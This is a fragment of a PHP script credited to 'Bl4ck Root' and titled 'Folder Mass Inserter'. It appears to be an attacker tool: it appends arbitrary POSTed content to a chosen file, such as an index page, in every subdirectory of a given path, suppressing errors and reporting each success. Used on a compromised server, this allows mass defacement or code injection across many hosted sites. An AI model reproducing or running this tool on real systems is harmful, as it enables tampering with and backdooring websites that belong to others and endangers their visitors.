Folder Mass Inserter by Bl4ck Root";
echo "";
echo "
";
echo "";
if (isset($_POST['base_dir'])) {
if (!file_exists($_POST['base_dir'])) {
die($_POST['base_dir'] . " Not Found !
");
}
if (!is_dir($_POST['base_dir'])) {
die($_POST['base_dir'] . " Is Not A Directory !
");
}
@chdir($_POST['base_dir']) or die("Cannot Open Directory");
$files = @scandir($_POST['base_dir']) or die("Error scanning directory.
");
foreach ($files as $file) {
if ($file != "." && $file != ".." && @filetype($file) == "dir") {
$index = getcwd() . "/" . $file . "/" . $_POST['andela'];
if (file_exists($index)) {
$currentContent = file_get_contents($index);
$newContent = $currentContent . "\n" . $_POST['index'];
if (file_put_contents($index, $newContent)) {
echo "
>> $index    (✓)";
} else {
echo "
>> $index    (✗)";
}
}
}
}
}
?>